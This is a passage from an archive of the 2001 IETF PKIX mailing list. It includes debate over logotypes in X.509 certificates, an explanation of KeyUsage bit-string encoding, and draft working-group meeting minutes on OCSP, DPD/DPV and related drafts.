Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 




Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by above.proper.com (8.9.3/8.9.3) with SMTP id TAA22166 for <[e-mail]>; Wed, 21 Mar 2001 19:18:35 -0800 (PST)
Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 21 Mar 2001 18:53:59 -0800 (Pacific Standard Time)
Received: from red-msg-02.redmond.corp.microsoft.com ([157.54.12.70]) by inet-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Wed, 21 Mar 2001 18:53:59 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4418.65
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Logotypes in certificates
Date: Wed, 21 Mar 2001 18:53:59 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logotypes in certificates
Thread-Index: AcCyXTRp5N4x4mgVT6qQ4L2wW+NlmwAHleQg
From: "David Cross" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 22 Mar 2001 02:53:59.0848 (UTC) FILETIME=[584C2280:01C0B27B]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id TAA22167

Steve:

-->No, the argument is not the same.  We have the nameConstraints 
extension as a technical means of preventing a CA and subordinate CAs 
from issuing certs with names outside of a well defined range. We do 
not have a means to enforce similar controls re logos. That's the 
whole point of my concern.


I agree this is a valid concern and should be addressed before moving
forward.
 
David B. Cross
 


Received: from gateway.secude.com (linux.secude.com [141.12.207.27]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA13947 for <[e-mail]>; Wed, 21 Mar 2001 16:31:55 -0800 (PST)
Received: from secude.com (pc-hans.intranet.secude.com [192.168.3.36]) by gateway.secude.com (Postfix) with ESMTP id EA82C1B1A; Thu, 22 Mar 2001 01:31:30 +0100 (MET)
Message-ID: <[e-mail]>
Date: Thu, 22 Mar 2001 01:31:37 +0100
From: Hans Schupp <[e-mail]>
Organization: SECUDE GmbH
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Cc: [e-mail]
Subject: Re: Question from a new comer about KeyUsage
References: <000701c0b223$9fb4ce40$[e-mail]>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msD1F5F76654892AC11FCD042A"

This is a cryptographically signed message in MIME format.

--------------msD1F5F76654892AC11FCD042A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Prashant Kumar wrote:

> In one of the Microsoft Certificate the Key usage bits are
> set as 0x05 A0(0000 0101 1010 0000). If we open the
> certificate using MS it claims that
> 
> 1. Digital Signature, Key Encipherment[A0] bits are set.
> 
> However if you go according to the RFC 2459 it actually has
> Digital Signature, nonRepudiation, and dataEncipherment set
> ....(Bits 0, 1 and 3) bit 8 is the right most bit...

You left out the fact, that KeyUsage is encoded as a BIT STRING, which
has a special meaning for the first byte. The 0x05 only says: the 5 last
bits of the following byte are unused, i.e. from the byte 10100000 only
the part 101xxxxx is meaningful.
Take this and you get exactly the bits "digitalSignature" and
"keyEncipherment". MS is not always wrong ;-)

regards, Hans
--
Hans Schupp, SECUDE GmbH, [phone]
_________________________________________________
CeBIT Hannover 22.-28.03.2001, hall 2 / booth B18
--------------msD1F5F76654892AC11FCD042A
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIFGAYJKoZIhvcNAQcCoIIFCTCCBQUCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
AzEwggMtMIICFaADAgECAgFOMA0GCSqGSIb3DQEBBQUAMFAxCzAJBgNVBAYTAkRFMRQwEgYD
VQQKEwtTRUNVREUgR21iSDErMCkGA1UECxMiU0VDVURFIFRydXN0RmFjdG9yeSBJbmRpdmlk
dWFscyBDQTAeFw05OTEwMjgxNTI2MzNaFw0wMTEwMjgxNTI2MzNaMDkxCzAJBgNVBAYTAkRF
MRQwEgYDVQQKEwtTRUNVREUgR21iSDEUMBIGA1UEAxMLSGFucyBTY2h1cHAwgZ8wDQYJKoZI
hvcNAQEBBQADgY0AMIGJAoGBAP4CQoNsxm0rCW/ncYHxEGE9H4IStq2k0sAUJrKzBXvA1gkn
c1jrMoQDEORcPjdIVoppbgt4xcmGz59GbGzrHQLDYX4wWtbpeuRQ5p//Dpw+ilA+dfH2WvOi
v/OT4q04anv4tI1bHmfHjX0K/T9JoWJNduV1mhhBOvi+G/XG6VgjAgMBAAGjgawwgakwDgYD
VR0PAQH/BAQDAgTwMBwGA1UdEQQVMBOBEXNjaHVwcEBzZWN1ZGUuY29tMFgGA1UdEgRRME+B
F3RydXN0ZmFjdG9yeUBzZWN1ZGUuY29thjRodHRwOi8vd3d3LnNlY3VkZS5jb20vdHJ1c3Rm
YWN0b3J5L2luZGl2aWR1YWxzY2EuY3J0MAwGA1UdEwEB/wQCMAAwEQYJYIZIAYb4QgEBBAQD
AgCgMA0GCSqGSIb3DQEBBQUAA4IBAQDB4naym+cwkZ9vjIIAJzoiNzsuywA1QiSElOnfnADa
dD7NH3DyfRGjI5sjZBKpFuj2GDHXQBQnZikMxWI1H/J14IyZhv8CORIli8OboSfjavpMlQiJ
oQOzO8FDk0j2dJBhOsBxkhGoO/GxTMy+xOdFHsBWsHHyQAFWlgdaCSPrgpq9fSDZ8+Kt5XIj
pkyiWjkwnGr7espfevPB1weHlrO5tmD+KFKyVZ+cuDjf0ABAQDXP29HFWxve246Ga2SBnv0Y
DTdDfIpVkeHbPd9n8LPGte7MNxM4s2GSJ7lY+p/z33TW0na+ZNmhdhaz8jmXSI/BP0Qvjy/b
xKYfAKwvBFvLMYIBrzCCAasCAQEwVTBQMQswCQYDVQQGEwJERTEUMBIGA1UEChMLU0VDVURF
IEdtYkgxKzApBgNVBAsTIlNFQ1VERSBUcnVzdEZhY3RvcnkgSW5kaXZpZHVhbHMgQ0ECAU4w
CQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEP
Fw0wMTAzMjIwMDMxMzlaMCMGCSqGSIb3DQEJBDEWBBSIvdZUr0xuZs1SDGvCTWqV/33lvjBS
BgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzAN
BggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIBKDANBgkqhkiG9w0BAQEFAASBgEQOX/PGaszZ
B97h+yKsOXwT8IJpuGp8VR5vIVShyY8HM93NpjPVejqrTvH2t2yQ3IWnRyU3bYkJ5ivaq8ZC
byKeOXJA7gxLWYVf7Vnzsv10nc2U8mrhQl8zP9HomSQmIPJIFI8jJAouLlzy1yghfWS3Fs5k
7QO/NRFNal+dHYu5
--------------msD1F5F76654892AC11FCD042A--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA10088 for <[e-mail]>; Wed, 21 Mar 2001 15:21:29 -0800 (PST)
Received: from [128.33.238.72] (TC096.BBN.COM [128.33.238.96]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA01290; Wed, 21 Mar 2001 18:18:02 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010407b6dee6ef6571@[128.33.238.72]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Wed, 21 Mar 2001 18:21:53 -0500
To: Michael Zolotarev <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Michael,

>Though I don't favor including logotype or reference to a logotype to a
>cert, considering it as a pure marketing trick (sorry, Stefan :), but my
>realisation was that a logotype is by no means related to the establishment
>of trust. It is 100% meant for a human eye only, and verification algorithm
>should simply ignore it, as it ingores any other proprietory extentions. If
>the verification comes up with an answer 'not validated', and the software
>prompts a user saying 'couldn't validate', and the user still makes a
>decision to trust the cert, it is an application's problem, which already
>exists now, and logotypes add no extra pitch to it.

I think the whole purpose of including a displayable logo is 
precisely an attempt by a CA to gain the trust of users, so I 
disagree with your stating point. The concern I raised is not one 
that is addressed by your example, i.e., my example of a "bad 
outcome" is a cert that carries a logo which will be recognized by a 
user and thus will engender the user's confidence, but it is 
contained in a cert that, while valid under our path validation 
controls, has nothing to do with the entity whose logo appears in the 
cert and which is displayed to the user.

>As an extreme, if a CA considers logotypes to be anyhow harmful, it simply
>won't have a logotype in its own cert, and refuse certification of
>logotypes.

As a CA I can refuse to certify a logo-equipped cert one layer down, 
but not farther, unless we adopt a means of representing the logo 
that is subject to existing controls. Tom suggested on possible 
means, if we put the logo in an altname field and make it a type 
which can be prohibited using nameConstraints.

Steve


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA09237 for <[e-mail]>; Wed, 21 Mar 2001 15:15:40 -0800 (PST)
Received: from [128.33.238.72] (TC096.BBN.COM [128.33.238.96]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA00810; Wed, 21 Mar 2001 18:12:20 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010406b6dee2f776b7@[128.33.238.72]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Wed, 21 Mar 2001 18:03:54 -0500
To: "Tom Gindin" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Tom,

>      Wouldn't Logotypes most easily be implemented as an OTHER-NAME within
>one of the alternate name fields (probably SubjectAltName)?  If so, how
>would they affect NameConstraints and the like?  IMHO, they would have
>little effect on them since logos are not hierarchical names and thus
>couldn't easily be governed by NameConstraints.
>      Since they are naming (or at least identifying) information about the
>subject or issuer, I don't see why they should be in a different extension.
>IMO, the standard way of displaying these should be to display the logo
>along with the text of the highest-precedence ID for that entity anyway.
>Binding them together in the same extension would encourage that.

I think the answer to your first question is no, but we need to hear 
from Stefan about what he envisioned. I was assuming a new extension. 
If logos were stuffed into an OtherName, the best we could do is to 
prohibit them by ruling out use of that name type in the subject alt 
name field via nameConstraints. Now maybe we're getting some handle 
on control that works with the current path validation algorithm, but 
it's not much.

We need to see a more concrete proposal before we can proceed with a 
reasoned, technical evaluation of the potential for this proposed 
field.

Steve


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA09221 for <[e-mail]>; Wed, 21 Mar 2001 15:15:38 -0800 (PST)
Received: from [128.33.238.72] (TC096.BBN.COM [128.33.238.96]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA00794; Wed, 21 Mar 2001 18:12:18 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010405b6dee2605313@[128.33.238.72]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Wed, 21 Mar 2001 17:59:50 -0500
To: Ambarish Malpani <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Ambarish,

>Steve,
>     This is the same argument as a CA issuing a cert to a
>subordinate, who issues incorrect certificates with it - e.g.
>issues a certificate for the domain www.amazon.com to say BN.
>
>Either a CA controls/audits subordinate CAs, or has enough
>reason to trust them, or the value of that hierarchy is
>pretty useless.
>
>I don't think logos in certificates affect this either way.

No, the argument is not the same.  We have the nameConstraints 
extension as a technical means of preventing a CA and subordinate CAs 
from issuing certs with names outside of a well defined range. We do 
not have a means to enforce similar controls re logos. That's the 
whole point of my concern.

Steve


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA06435 for <[e-mail]>; Wed, 21 Mar 2001 14:35:48 -0800 (PST)
Received: from [128.33.238.72] (TC072.BBN.COM [128.33.238.72]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id RAA27428 for <[e-mail]>; Wed, 21 Mar 2001 17:32:25 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail] (Unverified)
Message-Id: <p05010400b6de6e8bbcdf@[128.33.238.79]>
Date: Wed, 21 Mar 2001 09:44:39 -0500
To: [e-mail]
From: Stephen Kent <[e-mail]>
Subject: draft meeting minutes, please comment
Content-Type: multipart/alternative; boundary="============_-1226908307==_ma============"

--============_-1226908307==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

PKIX WG Meeting 3/20-01
Edited by Steve Kent (WG co-chairs)

The PKIX WG met once during the 50th IETF. A total of approximately 
155 individuals participated in the meeting.


Tim quickly reviewed the agenda and document status, noting that 
there are many  I-Ds in progress. (see slides)

Two new RFCs:
	RFC 3029	Data Validation and Certification Server (Experimental)
	RFC 3039	Qualified Certificates (Proposed Standard)

In the IESG Review Process:
	Timestamp Protocol
		(missing IANA considerations section)
	Attribute Certificate Profile
		(missing IANA considerations section and another issue)

Soon to be Submitted to IESG:
	PKIX Roadmap (Informational)
	Permanent Identifier (Experimental?)
	Repository Locator Service (Experimental)

In WG Last Call:
	Son-of-RFC 2459
	Public Algorithms and Identifiers
	CRMF & CMP
CMP/CRMF Interoperability results?

Close to WG last call:
	OCSPv1 bis

Evolving Specifications
	Technical NR (being revised)
	OCSPv2
	Additional LDAP Schema
	Attribute Certificate Acquisition Protocol
	CP/CPS Framework
	DPD/DPV requirements

New Work
	Impersonation Certificates
	Group Name

Status of RFC 2459bis- Russ Housley (RSA Labs)
	Fixed path length computation. Fix "who can issue CRLs" 
problem by allowing a CA certificate to contain EITHER the 
KeyCertSign OR cRLSign bits. Thus only CAs (syntactically speaking) 
issue CRLs, bit it allows creation of an entity that is marked as a 
CA, but which is restricted to signing CRLs. (slides)

OCSPv1 - Ambarish Malpani (ValiCert)
	Moving OCSPv1 to Draft Standard. Interoperability efforts 
going well, including PKI Forum work. Also some minor clarifications 
of the text. Make RSA mandatory, drop required support for DSA. 
(slides)

CMC - Jim Schaad (???)
	Updating document, symmetric key distribution ambiguity, 
minor editorial corrections. Hope to complete updates and get 
interoperability test data for progression to Draft in about 6 
months. (no slides)

Impersonation Certificates - Stephen Tuecke (Argonne Labs)
	Renamed proxy certificates. Motivation is single signon 
delegation support. Intent is to bind a new key pair to a subject alt 
name and to an extension that labels this as a proxy certificate. 
However, there are conflicts between this proposal and the existing 
and revised profile (and X.509). Specifically, the EE is acting like 
a CA, syntactically, but the EE certificate does not have the 
basicConstraints flag set to mark it as a CA. Thus the path 
validation algorithm would reject these proxy certificates. (slides)

DPD/DPV Requirements - Steve Kent (BBN)
	Presentation described revised proposals for DPD and DPV 
requests and responses, using ASN.1 strawmen examples. Ended with a 
plan for progress on the topic, resulting in selection of a protocol 
before the next IETF meeting in August.  Steve Farrell expressed 
concern that the DPD request is too complex, contains unnecessary 
controls, based on a model that does not require returned paths to be 
ones that will necessarily be able to be validated by the client. 
(slides)

OCSPv2 - Michael Myers (VeriSign)
	Expansion of OCSPv1 to create a candidate protocol for the 
DPD & DPV functions. Includes a facility to support nonce relay, by 
concatenating new nonces with old ones. Emphasis on reuse of OCSPv1 
structures wherever possible, e.g., with regard to status responses. 
There are fewer controls on path construction for DPD vs. DPD, based 
on assumptions about relative capability of clients and on perception 
of likely complexity of certificate graphs. (slides)

DPD/DPV - Denis Pinkas (Bull)
	For DPV, major focus is valid/invalid response, plus optional 
proof returned when needed, e.g., for NR. Can have a small response 
with Y/N response and hash as a link to the supporting info. Suggests 
just a single path and revocation status data should be returned. For 
DPD need a path returned always, unlike DPV. Suggests partial 
revocation status data might be returned, if complete data not 
available. (Both DPD + DPV specify the target by either supplying a 
certificate or an Issuer name and serial number.) Suggestion that CA 
and EE certificates may not want the same revocation status data, but 
Mike Myers disagrees with this distinction. Proposal for partial 
responses, e.g., incomplete paths. Argument against DPV support for a 
posteriori validation when the time frame is outside of the 
certificate validity period. Finally, argues for stateless servers, 
i.e., no retry facility in DPD. (slides)

SCVP - Ambarish Malpani (ValiCert)
	Removed XML syntax, and will use CMS as secure enveloping 
mechanism. (one slide)

Group Name - Mike St. Johns (??)
	Motivation is to support a commonly employed OS naming 
convention in EE certificates, instead of having to map from a DN. 
Possible uses in attribute certificates too. Currently proposed as an 
OtherName but open to suggestions for encoding. (slides)

Policy Requirements for TSAs - Denis Pinkas (Bull)
	This is a new ETSI work item. Will complement existing ETSI 
standards on electronic signature formats, qualified certificates, 
and a document addressing policy for CAs issuing qualified 
certificates. TSA policy will be based on RFC 2527 and ETSI 456. 
Welcome participation and inputs from PKIX and SMIME WG members. 
(slides)

--============_-1226908307==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>draft meeting minutes, please
comment</title></head><body>
<div><font size="+1" color="#000000">PKIX WG Meeting 3/20-01<br>
Edited by Steve Kent (WG co-chairs)<br>
<br>
The PKIX WG met once during the 50th IETF. A total of approximately
155 individuals participated in the meeting.<br>
<br>
<br>
Tim quickly reviewed the agenda and document status, noting that there
are many&nbsp; I-Ds in progress. (see slides)<br>
<br>
Two new RFCs:<br>
<x-tab>&nbsp; </x-tab>RFC
3029<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Data
Validation and Certification Server (Experimental)<br>
<x-tab> </x-tab>RFC 3039<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>Qualified Certificates (Proposed Standard)<br>
<br>
In the IESG Review Process:<br>
<x-tab>&nbsp;&nbsp; </x-tab>Timestamp Protocol<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>(missing IANA considerations section)<br>
<x-tab>&nbsp;&nbsp; </x-tab>Attribute Certificate Profile<br>
<x-tab>&nbsp;&nbsp;
</x-tab><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</x-tab>(missing IANA considerations section and another issue)<br>
<br>
Soon to be Submitted to IESG:<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>PKIX Roadmap (Informational)<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Permanent Identifier
(Experimental?)<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Repository Locator Service
(Experimental)<br>
<br>
In WG Last Call:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Son-of-RFC
2459<br>
<x-tab> </x-tab>Public Algorithms and Identifiers<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>CRMF &amp; CMP<br>
CMP/CRMF Interoperability results?<br>
<br>
Close to WG last call:<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>OCSPv1 bis<br>
<br>
Evolving Specifications<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Technical NR
(being revised)<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>OCSPv2<br>
<x-tab>&nbsp; </x-tab>Additional LDAP Schema<br>
<x-tab>&nbsp; </x-tab>Attribute Certificate Acquisition Protocol<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>CP/CPS Framework<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>DPD/DPV
requirements<br>
<br>
New Work<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Impersonation Certificates<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Group Name<br>
<br>
Status of RFC 2459bis- Russ Housley (RSA Labs)<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Fixed path
length computation. Fix "who can issue CRLs" problem by allowing a
CA certificate to contain EITHER the KeyCertSign OR cRLSign bits. Thus
only CAs (syntactically speaking) issue CRLs, bit it allows creation
of an entity that is marked as a CA, but which is restricted to
signing CRLs. (slides)<br>
<br>
OCSPv1 - Ambarish Malpani (ValiCert)<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>Moving OCSPv1 to Draft Standard.
Interoperability efforts going well, including PKI Forum work. Also
some minor clarifications of the text. Make RSA mandatory, drop
required support for DSA. (slides)<br>
<br>
CMC - Jim Schaad (???)<br>
<x-tab>&nbsp;&nbsp; </x-tab>Updating document, symmetric key
distribution ambiguity, minor editorial corrections. Hope to complete
updates and get interoperability test data for progression to Draft in
about 6 months. (no slides)<br>
<br>
Impersonation Certificates - Stephen Tuecke (Argonne Labs)<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Renamed proxy certificates.
Motivation is single signon delegation support. Intent is to bind a
new key pair to a subject alt name and to an extension that labels
this as a proxy certificate. However, there are conflicts between this
proposal and the existing and revised profile (and X.509).
Specifically, the EE is acting like a CA, syntactically, but the EE
certificate does not have the basicConstraints flag set to mark it as
a CA. Thus the path validation algorithm would reject these proxy
certificates. (slides)<br>
<br>
DPD/DPV Requirements - Steve Kent (BBN)<br>
<x-tab>&nbsp; </x-tab>Presentation described revised proposals for DPD
and DPV requests and responses, using ASN.1 strawmen examples. Ended
with a plan for progress on the topic, resulting in selection of a
protocol before the next IETF meeting in August.&nbsp; Steve Farrell
expressed concern that the DPD request is too complex, contains
unnecessary controls, based on a model that does not require returned
paths to be ones that will necessarily be able to be validated by the
client. (slides)<br>
<br>
OCSPv2 - Michael Myers (VeriSign)<br>
<x-tab>&nbsp; </x-tab>Expansion of OCSPv1 to create a candidate
protocol for the DPD &amp; DPV functions. Includes a facility to
support nonce relay, by concatenating new nonces with old ones.
Emphasis on reuse of OCSPv1 structures wherever possible, e.g., with
regard to status responses. There are fewer controls on path
construction for DPD vs. DPD, based on assumptions about relative
capability of clients and on perception of likely complexity of
certificate graphs. (slides)<br>
<br>
DPD/DPV - Denis Pinkas (Bull)<br>
<x-tab>&nbsp;&nbsp;&nbsp; </x-tab>For DPV, major focus is
valid/invalid response, plus optional proof returned when needed,
e.g., for NR. Can have a small response with Y/N response and hash as
a link to the supporting info. Suggests just a single path and
revocation status data should be returned. For DPD need a path
returned always, unlike DPV. Suggests partial revocation status data
might be returned, if complete data not available. (Both DPD + DPV
specify the target by either supplying a certificate or an Issuer name
and serial number.) Suggestion that CA and EE certificates may not
want the same revocation status data, but Mike Myers disagrees with
this distinction. Proposal for partial responses, e.g., incomplete
paths. Argument against DPV support for a posteriori validation when
the time frame is outside of the certificate validity period. Finally,
argues for stateless servers, i.e., no retry facility in DPD.
(slides)</font></div>
<div><font size="+1" color="#000000"><br>
SCVP - Ambarish Malpani (ValiCert)<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Removed XML syntax, and
will use CMS as secure enveloping mechanism. (one slide)<br>
<br>
Group Name - Mike St. Johns (??)<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>Motivation
is to support a commonly employed OS naming convention in EE
certificates, instead of having to map from a DN. Possible uses in
attribute certificates too. Currently proposed as an OtherName but
open to suggestions for encoding. (slides)<br>
<br>
Policy Requirements for TSAs - Denis Pinkas (Bull)<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>This is a new ETSI work
item. Will complement existing ETSI standards on electronic signature
formats, qualified certificates, and a document addressing policy for
CAs issuing qualified certificates. TSA policy will be based on RFC
2527 and ETSI 456.&nbsp; Welcome participation and inputs from PKIX
and SMIME WG members. (slides)</font><br>
<font size="+1" color="#000000"></font></div>
</body>
</html>
--============_-1226908307==_ma============--


Received: from mail.ec.auckland.ac.nz (mail.student.auckland.ac.nz [130.216.35.201]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA02822 for <[e-mail]>; Wed, 21 Mar 2001 13:56:06 -0800 (PST)
Received: from kahu.cs.auckland.ac.nz ([e-mail] [130.216.36.13]) by mail.ec.auckland.ac.nz (8.9.3/8.8.6/cs-master) with SMTP id JAA15307; Thu, 22 Mar 2001 09:55:42 +1200 (NZST) (sender [e-mail])
Received: by kahu.cs.auckland.ac.nz (relaymail v0.9) id <98521174210207>; Thu, 22 Mar 2001 09:55:42 (NZST)
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail], [e-mail]
Subject: RE: specific policies used in conjunction with anyPolicy
Cc: [e-mail], [e-mail], [e-mail], [e-mail]
Sender: [e-mail]
Reply-To: [e-mail]
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on kahu.cs.auckland.ac.nz
Date: Thu, 22 Mar 2001 09:55:42 (NZST)
Message-ID: <[e-mail]>

"Carlin Covey" <[e-mail]> writes:

>Peter and Peter,
>
>Are you distinct?  I'm a bit fuzzy myself.  ;>)

We're both the same person.

Now that that's been cleared up, I'd like to correct a few statements I made in
the PKI book I co-authored a few years back...

Peter :-).



Received: from indy.gradient.com ([e-mail] [192.92.110.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA02028 for <[e-mail]>; Wed, 21 Mar 2001 13:36:34 -0800 (PST)
Received: from bigbird.gradient.com (bigbird.gradient.com [192.92.110.50]) by indy.gradient.com (8.9.1a/8.9.1) with ESMTP id QAA07081; Wed, 21 Mar 2001 16:36:13 -0500 (EST)
Received: by bigbird.gradient.com with Internet Mail Service (5.5.2650.10) id <G1NWH79J>; Wed, 21 Mar 2001 16:33:04 -0500
Message-ID: <[e-mail]>
From: Hal Lockhart <[e-mail]>
To: "'Carlin Covey'" <[e-mail]>, Michael Sierchio <[e-mail]>, Peter Williams <[e-mail]>
Cc: [e-mail], [e-mail], [e-mail], [e-mail]
Subject: RE: specific policies used in conjunction with anyPolicy
Date: Wed, 21 Mar 2001 16:31:42 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.10)
Content-Type: text/plain; charset="iso-8859-1"

Maybe you should issue them OIDs.

> -----Original Message-----
> From: Carlin Covey [mailto:[e-mail]]
> Sent: Wednesday, March 21, 2001 4:29 PM
> To: Michael Sierchio; Peter Williams
> Cc: [e-mail]; [e-mail]; [e-mail];
> [e-mail]
> Subject: RE: specific policies used in conjunction with anyPolicy
> 
> 
> Peter and Peter,
> 
> Are you distinct?  I'm a bit fuzzy myself.  ;>)
> 
> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]]On
> Behalf Of Michael Sierchio
> Sent: Wednesday, March 21, 2001 2:26 PM
> To: Peter Williams
> Cc: '[e-mail]'; [e-mail]; 
> [e-mail];
> [e-mail]; [e-mail]
> Subject: Re: specific policies used in conjunction with anyPolicy
> 
> 
> Peter Williams wrote:
> >
> > Is it the usual free-for-all where noone knows anything and you just
> choose
> > your own OID?
> 
> Are Peter Williams and Peter Gutmann distinct persons?
> 


Received: from exchange.cylink.com (exchange.cylink.com [192.43.161.25]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA01503 for <[e-mail]>; Wed, 21 Mar 2001 13:30:19 -0800 (PST)
Received: from COVEY (10.108.20.62 [10.108.20.62]) by exchange.cylink.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id GN1XWNRR; Wed, 21 Mar 2001 13:26:33 -0800
From: "Carlin Covey" <[e-mail]>
To: "Michael Sierchio" <[e-mail]>, "Peter Williams" <[e-mail]>
Cc: <[e-mail]>, <[e-mail]>, <[e-mail]>, <[e-mail]>
Subject: RE: specific policies used in conjunction with anyPolicy
Date: Wed, 21 Mar 2001 15:29:22 -0600
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Peter and Peter,

Are you distinct?  I'm a bit fuzzy myself.  ;>)

-----Original Message-----
From: [e-mail] [mailto:[e-mail]]On
Behalf Of Michael Sierchio
Sent: Wednesday, March 21, 2001 2:26 PM
To: Peter Williams
Cc: '[e-mail]'; [e-mail]; [e-mail];
[e-mail]; [e-mail]
Subject: Re: specific policies used in conjunction with anyPolicy


Peter Williams wrote:
>
> Is it the usual free-for-all where noone knows anything and you just
choose
> your own OID?

Are Peter Williams and Peter Gutmann distinct persons?



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA28310 for <[e-mail]>; Wed, 21 Mar 2001 12:33:34 -0800 (PST)
Received: from krdp2 (krdp2.ncsl.nist.gov [129.6.54.107]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id PAA07288 for <[e-mail]>; Wed, 21 Mar 2001 15:33:35 -0500 (EST)
Message-Id: <[e-mail]>
X-Sender: [e-mail]
